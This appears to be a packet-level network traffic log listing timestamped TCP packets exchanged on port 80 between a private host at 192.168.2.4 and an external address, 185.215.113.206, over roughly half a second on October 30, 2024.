Oct 30, 2024 20:13:28.841600895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.841609955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.841615915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.841624975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.841630936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.841639042 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.841654062 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.841655970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.841671944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.841681957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.841711998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.841711998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.842380047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.842395067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.842407942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.842422009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.842437983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.842448950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.842452049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.842468023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.842482090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.842485905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.842485905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.842497110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.842511892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.842530966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.842545033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.842546940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.842546940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.842578888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.842638016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.843360901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.843378067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.843391895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.843405962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.843420982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.843431950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.843436003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.843451977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.843466043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.843481064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.843493938 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.843493938 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.843496084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.843513012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.843528032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.843539953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.843539953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.843543053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.843602896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.843602896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.844274998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.844290972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.844311953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.844351053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.844364882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.844367981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.844367981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.844382048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.844397068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.844408989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.844408989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.844413042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.844427109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.844429016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.844444036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.844455957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.844455957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.844460011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.844475031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.844487906 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.844487906 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.844505072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.844528913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.962251902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.962340117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.962372065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.962388992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.962405920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.962416887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.962435961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.962457895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.962471008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.962487936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.962524891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.962558031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.962599993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.962660074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.962677002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.962702990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.962722063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.962874889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.962891102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.962908030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.962924004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.962933064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.962941885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.962963104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.962977886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.963135004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.963185072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.963202000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.963217974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.963227987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.963242054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.963259935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.963465929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.963483095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.963524103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.963617086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.963634014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.963649988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.963655949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.963665962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.963680029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.963684082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.963700056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.963721991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.964149952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.964167118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.964180946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.964195967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.964196920 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.964212894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.964214087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.964229107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.964238882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.964246035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.964261055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.964270115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.964277029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.964293003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.964303017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.964308023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.964318037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.964323044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.964338064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.964348078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.964399099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.965027094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.965045929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.965064049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.965074062 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.965080976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.965096951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.965100050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.965114117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.965125084 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.965128899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.965145111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.965152025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.965161085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.965176105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.965178967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.965197086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.965219975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.965965986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.965982914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.965998888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.966010094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.966013908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.966026068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.966031075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.966046095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.966047049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.966063023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.966072083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.966078043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.966095924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.966099024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.966110945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.966123104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.966125965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.966141939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.966150999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.966178894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.966660976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.966677904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.966694117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.966706038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.966711998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.966727972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.966743946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.966747046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.966759920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.966777086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.966794968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.084634066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.084796906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.084811926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.084826946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.084842920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.084857941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.084894896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.084938049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.085017920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.085037947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.085053921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.085071087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.085083008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.085087061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.085103035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.085133076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.085376024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.085391045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.085407019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.085418940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.085422993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.085438967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.085447073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.085457087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.085469961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.085503101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.085745096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.085794926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.085854053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.085870028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.085886002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.085901022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.085902929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.085913897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.085916042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.085932970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.085937977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.085948944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.085962057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.085988045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.086357117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.086374044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.086390972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.086421967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.086437941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.086631060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.086646080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.086662054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.086675882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.086692095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.086693048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.086707115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.086720943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.086724997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.086730003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.086740017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.086755037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.086759090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.086771011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.086787939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.086796045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.086801052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.086822987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.086834908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.087526083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.087542057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.087555885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.087570906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.087585926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.087590933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.087603092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.087614059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.087625980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.087630033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.087641001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.087654114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.087656975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.087671995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.087671995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.087680101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.087687969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.087702036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.087703943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.087711096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.087728977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.087749004 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.088454008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.088469028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.088485003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.088500023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.088504076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.088512897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.088514090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.088531017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.088541031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.088546038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.088562965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.088571072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.088578939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.088586092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.088594913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.088617086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.088639021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.089163065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.089176893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.089193106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.089207888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.089209080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.089220047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.089226007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.089240074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.089240074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.089251041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.089255095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.089270115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.089270115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.089279890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.089286089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.089297056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.089315891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.089325905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.207154036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.207185030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.207201958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.207215071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.207237005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.207309961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.207334042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.207349062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.207365990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.207375050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.207387924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.207420111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.207562923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.207612038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.207664013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.207678080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.207703114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.207714081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.207807064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.207820892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.207835913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.207850933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.207868099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.207886934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.208098888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.208112001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.208126068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.208139896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.208142042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.208156109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.208158016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.208173037 CET	80	49758	185.215.113.206	192.168.2.4
